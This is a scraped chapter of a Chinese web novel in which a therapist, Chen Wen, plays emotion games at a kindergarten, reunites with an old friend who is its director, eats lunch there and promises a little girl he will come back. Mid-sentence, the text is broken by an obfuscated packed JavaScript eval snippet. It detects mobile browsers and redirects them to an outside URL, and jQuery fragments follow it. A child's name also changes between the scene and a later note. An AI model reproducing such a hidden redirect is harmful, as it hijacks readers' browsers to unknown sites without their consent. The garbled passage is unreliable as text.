80. 明天一定来

作品:《温和四季

    “李见初……”陈温重复了一遍,点点头,笑意更深了,“很好听的名字,像一个故事的开始。那么,见初小助手,你准备好了吗?我们要开始第一个‘魔法’了哦!”


    李见初用力地点点头,小手不自觉地攥成了小拳头,充满了使命感。


    其他孩子也屏息凝神,睁大了眼睛,准备观看陈老师和他的小助手,将要变出怎样奇妙的“魔法”。


    陈温站起身,从“魔法袋”里变戏法似的拿出几张大卡片,上面画着各种的表情:大笑的太阳、掉眼泪的云朵、气鼓鼓的闪电、还有平静的微风。


    “第一个魔法,叫‘情绪气象站’!”他举起卡片,“每个人心里呀,就像一个小天空,有时候是晴天,有时候会下雨,有时候会打雷。我们现在呢,就要学着当自己心里的‘天气预报员’!”


    陈温让小助手帮忙,把卡片贴在白板上。“来,见初,告诉大家,你现在心里的小天空,是哪一种天气呀?不用害羞,什么天气都可以哦。”


    李见初仔细地看着卡片,指向了“大笑的太阳”:“是晴天!因为今天有新老师来,还有好玩游戏!”


    “太棒了,晴天预报员!”陈温赞许道,然后转向其他孩子,“那其他小朋友呢?可以悄悄告诉我,或者指给旁边的好朋友看。没有对错,每一种天气都值得我们认识一下。”


    孩子们叽叽喳喳地讨论起来,气氛热烈。陈温温和地引导,将孩子们点滴的情绪表达,化作认识“内心天气”的启蒙。


    上午的活动在轻松的氛围中结束。休息时,陈温独自整理着上午的观察记录,窗外传来孩子们的嬉闹声。


    教室门被轻叩两声,节奏从容。


    陈温没有被吓到,目光仍停留在手中的观察笔记上,说:“请进。”


    “进展得还顺利吗?”是一个女声,音色清亮,带着一丝熟悉的质感,却又因时光打磨而显得有些陌生。


    陈温闻声抬眼。门口逆光站着一位女士,身形窈窕,及肩的发丝柔顺地别在耳后。


    她面容与记忆中重叠又分离,褪去了些青涩,眉眼间添了更为舒展的韵致,美得如其名——苏颜晓梦。


    她胸口别着的工作牌上,印着两个字:园长。


    陈温握着笔的手指微微收紧,随即松开。他站起身,惊讶道:“苏颜晓梦?好巧啊,真是好久不见。”


    “好久不见,陈温。”苏颜晓梦走进来,步伐不疾不徐,扫视教室里孩子们留下的画作痕迹,“孩子们没给你添太多麻烦吧?”


    “怎么会,”陈温摇头,“他们都很可爱,也很配合。”


    “那就好。”苏颜晓梦点了两下头,视线落回他身上,停顿了片刻。


    她似乎斟酌了一下,才开口,问了一个超出寻常寒暄范围的问题:“你……最近还好吗?”


    陈温略感意外,但只当是老友重逢后惯常的关怀,便也寻常应道:“嗯,还好。你呢?”


    空气静了一瞬。苏颜晓梦看着他,那双漂亮的眼睛里有些复杂的情绪晃动,最终归于平静的微笑。


    “我也还好。”她说,却不再追问其他,仿佛刚才那一问只是随口提及。


    话题也随之转开,回到了幼儿园的工作安排上。


    原来,那份合作函的发起人就是她。


    当看到受邀专家名单上写着“陈温”时,苏颜晓梦不敢相信,反复确认了医院和科室。


    直到刚才在监控里看到陈温的身影走进多功能厅,她才终于确定,真的是他,便过来看看老友。


    两人走到教室外的走廊,避开屋内还未收拾完的教具。


    “那我就不多打扰你了,”苏颜晓梦停下脚步,日光洒在她侧脸,“你继续忙。不过,中午留下来吃饭吧,我请客。我们园里的厨师手艺很好,做的儿童餐连大人都抢着吃,保证你满意。”


    陈温原本打算中午随便解决,也没带午餐。面对苏颜晓梦的盛情邀请,再加上心底那点被勾起的旧日情谊,他发现自己不太好意思拒绝。


    “好啊,”男生应道,“那就麻烦你了。”


    “不麻烦。”苏颜晓梦眼里的笑意真切了些,“那我去安排了,你忙完直接跟孩子们去食堂就行。”


    陈温感谢完,女生就离开了。


    自由活动时间,孩子们像一群欢快的小鸟涌向沙坑。


    陈温也被李见初和其他几个孩子拉着,加入了他们的“沙堡工程”。


    他索性脱了外套,挽起衬衫袖子,坐在沙坑边缘。


    孩子们立刻围上来,七嘴八舌地指挥:


    “陈老师,这里要挖一条河!”


    “帮我运点湿沙子过来!”


    “我的城堡要最高的!”


    陈温笑着应和,真的像个大孩子一样,帮忙挖沟渠、拍实城墙。


    李见初尤其兴奋,像只忙碌的小蝴蝶,围着陈温转来转去,一会儿递小铲子,一会儿捧来装饰用的彩色石子,俨然成了他的“首席工程助理”。


    阳光暖融融的,空气里飘着孩子们兴奋的汗味。


    陈温很久没有这样纯粹地沉浸在简单的劳作和欢笑里,疲累的神经不知不觉放松下来。


    就在他低头,专注于给李见初的“公主城堡”搭建一座拱桥时,忽然感觉头皮一紧——一撮头发被人从后面扯了一下。


    不疼,但很突然。


    陈温愕然回头,只见一个虎头虎脑、之前在上课见过的小男孩,正缩回手,脸上露出恶作剧得逞的笑。


    “王景行!不可以扯陈老师头发!”一旁的配班老师立刻出声制止。


    小男孩——王景行,冲着老师吐舌头,做了个鬼脸,“咯咯”笑着,像条灵活的小泥鳅,飞快地钻进了玩滑梯的孩子堆里,不见了踪影。


    老师无奈地摇头,向陈温道歉:“陈老师,对不起啊,这孩子精力旺盛,有时候行为……”


    “没事,”陈温摸了摸被扯的头发,反而笑了,“他只是好奇,或者想用他的方式引起注意,很正常的儿童探索行为。”


    “王景行好讨厌。”李见初气鼓鼓地对着男生逃跑的方向哼了一声,然后伸出小手,学着大人的样子,说:“陈老师,痛不痛?我帮你‘呼呼’。”


    陈温心里一软,摸了摸她的头:“不痛,谢谢见初。”


    沙坑里的工程继续,很快被更多的欢笑和沙粒淹没。


    玩耍结束,陈温在笔记本上,记下了一笔:“王小川,主动肢体接触(拉头发),伴随挑衅/逃避行为。可能寻求关注或测试边界。需观察其日常社交互动模式。”


    午餐时间,孩子们排着歪歪扭扭的队伍,走向飘着诱人香气的食堂


    陈温跟在队伍末尾,一走进食堂,就被眼前的景象和扑鼻的香味震了一下。


    这哪里是寻常印象里的幼儿园伙食?


    明亮干净的取餐台上,白灼虾个个饱满透亮,蜜汁烧鸭泛着诱人的色泽……


    旁边的餐后区,堆着洗净切好的当季水果拼盘,以及小巧的小蛋糕或奶香布丁。


    孩子们的餐盘是分隔的,营养搭配一目了然。


    连老师们打饭的窗口,菜色也毫不含糊,只是分量更成人化一些。


    陈温拿着园里为他准备的餐盘,每样都取了一些。


    调味得当,火候精准,完全超出了他对“单位食堂”乃至很多普通餐厅的预期。


    尤其是那口烧鸭,皮脆肉嫩,蜜汁的甜咸平衡得恰到好处,咽下去后齿颊留香。


    陈温坐在老师们那一桌,周围是交流班级情况的幼师们。


    他低头专注地吃着,几乎没怎么说话,心里却翻腾着满足的情绪。


    好吃。好吃得……想哭。


    并非夸张。这种扎实的、充满烟火气的好味道,像一把钥匙,不经意间打开了味蕾,直抵内心。


    陈温吃完了一整盘饭,连配汤都喝得干干净净。最后拿起一块做成小熊脑袋的牛奶小蛋糕,咬下去,是柔软的甜蜜。


    同桌的一位年长老师看他吃得专注,笑着搭话:“陈老师,合胃口吗?我们苏园长在伙食上可下本钱了,说孩子们吃得好,身体和心情才会好。”


    陈温抬起头,眼里带着未散尽的光,很认真地问:


    “合胃口,太合胃口了。冒昧问一句,你们园里,还招不招年龄几百个月的‘孩子’?”


    饭桌上静了一秒,随即几位老师都“噗嗤”笑出了声。


    那位年长的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172013|196843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老师更是笑得眼睛弯弯:“陈老师,你可真会开玩笑!”


    气氛一下子活跃起来。


    另一位老师接话:“陈老师,您要是真想来,我们肯定举双手双脚欢迎!正好缺个能镇得住场子的‘孩子王’呢!”


    “就是就是,”有人附和,“您看孩子们多喜欢您,尤其是见初,都快成你的小尾巴了。”


    陈温也笑了,摇摇头:“抢孩子们的饭碗可不行。不过,我是真想常来‘蹭饭’学习。”


    “随时欢迎呀!”年长老师热情地说,“苏园长要知道您这么认可,肯定高兴。”


    说笑间,午餐时间悄然结束。


    收拾好后,陈温在教室稍作休息,便准备告辞。


    消息不知怎么传开的,孩子们午睡也不肯好好睡了,一个个从寝室里探出小脑袋,眼巴巴地望着他。


    等陈温拿起外套和背包走到教室门口时,李见初第一个跑出来,紧紧抱住他的小腿,把脸埋在他裤子上,成了个执拗的“小树袋熊”。


    “陈老师别走……”她的声音带着哭腔。


    其他孩子也围拢过来,拽他衣角,仰脸问:“陈老师明天还来吗?”


    陈温心里泛软,蹲下身,平视着李见初。小姑娘眼圈泛红,抿着嘴不说话。


    “见初,”他放轻声音,“陈老师今天的工作结束了,得回去准备明天的新游戏和新故事。”


    李见初摇摇头,胳膊收得更紧。


    “我们不是说好,明天要一起给沙堡搭一座更厉害的桥吗?”陈温耐心道,“我答应你,明天一定准时回来,我们还一起画画,帮你把今天没画完的星星画完,好不好?”


    李见初抬起湿漉漉的眼睛看着他。


    陈温伸出小拇指:“拉钩?陈老师说话算数。”


    小姑娘犹豫片刻,终于松开手,伸出小指和他勾在一起,用力晃了晃:“拉钩上吊,一百年不许变!”


    “一百年不许变。”陈温笑着用拇指和她盖了个章。


    安抚好李见初,他又对围着的孩子们温声道:“大家乖乖午睡,休息好了,明天才有力气一起玩,对不对?”


    孩子们这才被老师带回寝室。


    陈温起身告辞,走向园门。身后传来李见初扒在门边的喊声:“陈老师!明天一定要来——!”


    “一定来!”他回头,朝那个小小的身影挥了挥手。


    一直到了放学,孩子们像一群归巢的小鸟,被各自的家长或保姆接走。


    李见初背着小书包,由老师牵着手,站在园门内侧的等候区,踮着脚张望。


    不多时,一个穿着浅灰色休闲西装、个子高挑、相貌俊朗的年轻男人快步走来。


    他看起来二十五出头,步履生风,在接孩子的人群中显得格外醒目。


    “哥哥!”李见初眼睛一亮,挣开老师的手,像颗小炮弹似的冲了过去。


    男人笑着弯腰,一把将她抱起来,在空中转了个圈,才稳稳放下。


    “丫头,今天有没有听老师话?”


    李见初脚一沾地,就着急地拉着他往他身后看,眉头微蹙:“李欣桐呢?怎么是你一个人来接我?”


    林宇舟故意板起脸,屈指弹了下她的额头:“怎么,我来接你不好吗?这么不待见你‘未来的姐夫’?”


    “一点也不好,”李见初撅起嘴,“姐姐呢?她说好今天给我讲新故事的。”


    “哎哟,”林宇舟捂住心口,做出受伤的表情,“一见到我,关心完这个姐姐,又关心那个,都不问问哥哥今天累不累,辛不辛苦。我的心啊,拔凉拔凉的。”


    李见初眨大眼睛,看他演得起劲,暂时把找姐姐的事放了放。


    林宇舟看她态度松动,才慢悠悠地从背后变魔术似的拿出一根冰糖葫芦,山楂红艳艳的,外面还撒着白芝麻。


    “可惜咯,本来某人表现好的话,就能吃到这个的。现在看来,只能我自己……”


    “哥哥!”李见初立刻拽住他的衣角,声音又甜又软,但盯着那串冰糖葫芦,说:“哥哥,你今天上班累不累呀?我给你捶捶背好不好?”


    林宇舟忍着笑,把冰糖葫芦递给她:“这还差不多。给,小馋猫,拿着吧。”